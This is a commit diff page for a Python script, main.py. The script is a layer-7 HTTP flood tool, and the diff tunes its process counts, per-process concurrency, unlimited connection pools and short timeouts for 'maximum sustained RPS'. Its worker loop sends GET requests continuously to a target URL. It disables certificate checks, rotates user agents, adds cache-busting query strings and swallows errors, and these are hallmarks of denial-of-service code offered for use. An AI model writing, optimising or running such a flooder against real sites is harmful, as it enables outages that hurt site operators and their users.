Update main.py
Browse files34 unmodified lines3536373839404142434445464748495051525354555657188 unmodified lines2462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902914 unmodified lines29629729829930030130234 unmodified linesCPU_COUNT = psutil.cpu_count(logical=True) or 8TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)# BALANCED configuration for sustained performance# Sweet spot: fewer workers that actually work vs many workers that block each otherif CPU_COUNT >= 32:# High-core systems (32-64+ cores) - REDUCED for efficiencyMAX_PROCESSES = min(CPU_COUNT, 128) # Max 128 processesMAX_CONCURRENCY_PER_PROCESS = 128 # Lower concurrencyelif CPU_COUNT >= 16:MAX_PROCESSES = CPU_COUNT * 2MAX_CONCURRENCY_PER_PROCESS = 256elif CPU_COUNT >= 8:MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 coresMAX_CONCURRENCY_PER_PROCESS = 512else:MAX_PROCESSES = CPU_COUNT * 4MAX_CONCURRENCY_PER_PROCESS = 256STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for accurate real-time countingTOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS# --- L7 Enhanced Headers Pool ---188 unmodified lines# OPTIMIZED L7 WORKER PROCESS# ====================================================================================async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):"""High-performance L7 worker optimized for maximum sustained RPS."""ssl_context = ssl.create_default_context()ssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE# Optimized connector with realistic limitsconnector = aiohttp.TCPConnector(limit=concurrency, # Match concurrencylimit_per_host=concurrency,ttl_dns_cache=300,force_close=False,enable_cleanup_closed=False,keepalive_timeout=120)# Fast timeoutstimeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:async def task_worker(worker_id):"""Sends requests in tight loop."""local_counter = 0while not stop_event.is_set():try:# Minimal overhead requestasync with session.get(f"{url}?{worker_id}{random.randint(1, 9999)}",headers=get_random_headers(),allow_redirects=False,timeout=timeout) as resp:# Just get status, don't read body_ = resp.statuslocal_counter += 1except:# Errors don't slow us downpass# Update counter in batchesif local_counter >= STATS_BATCH_UPDATE_SIZE:with shared_counter.get_lock():shared_counter.value += local_counter4 unmodified lineswith shared_counter.get_lock():shared_counter.value += local_counter# Launch taskstasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]await asyncio.gather(*tasks, return_exceptions=True)34 unmodified lines3536373839404142434445464748495051525354555657188 unmodified lines2462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922934 unmodified lines29829930030130230330434 unmodified linesCPU_COUNT = psutil.cpu_count(logical=True) or 8TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)# OPTIMIZED configuration for maximum sustained RPS# Balance: enough workers to saturate bandwidth, not so many they block each otherif CPU_COUNT >= 32:# High-core systems (32-64+ cores)MAX_PROCESSES = CPU_COUNT * 2 # 128 processes for 64 coresMAX_CONCURRENCY_PER_PROCESS = 256 # Higher concurrencyelif CPU_COUNT >= 16:MAX_PROCESSES = CPU_COUNT * 3MAX_CONCURRENCY_PER_PROCESS = 384elif CPU_COUNT >= 8:MAX_PROCESSES = CPU_COUNT * 6 # 48 processes for 8 coresMAX_CONCURRENCY_PER_PROCESS = 768else:MAX_PROCESSES = CPU_COUNT * 4MAX_CONCURRENCY_PER_PROCESS = 512STATS_BATCH_UPDATE_SIZE = 250 # Larger batches = less lock contentionTOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS# --- L7 Enhanced Headers Pool ---188 unmodified lines# OPTIMIZED L7 WORKER PROCESS# ====================================================================================async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):"""Ultra-optimized L7 worker for maximum sustained RPS."""ssl_context = ssl.create_default_context()ssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE# High-performance connector settingsconnector = aiohttp.TCPConnector(limit=0, # Unlimited - let OS handle itlimit_per_host=0,ttl_dns_cache=300,force_close=False,enable_cleanup_closed=False,keepalive_timeout=120)# Aggressive timeoutstimeout = aiohttp.ClientTimeout(total=2, connect=1, sock_read=1)async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:async def task_worker(worker_id):"""Tight request loop."""local_counter = 0cache_base = f"?w{worker_id}="while not stop_event.is_set():try:# Ultra-minimal requestasync with session.get(f"{url}{cache_base}{local_counter}",headers={"User-Agent": random.choice(USER_AGENTS),"Connection": "keep-alive"},allow_redirects=False,timeout=timeout) as resp:_ = resp.statuslocal_counter += 1except:pass# Less frequent counter updates for speedif local_counter >= STATS_BATCH_UPDATE_SIZE:with shared_counter.get_lock():shared_counter.value += local_counter4 unmodified lineswith shared_counter.get_lock():shared_counter.value += local_counter# Launch all taskstasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]await asyncio.gather(*tasks, return_exceptions=True)
main.py+27-25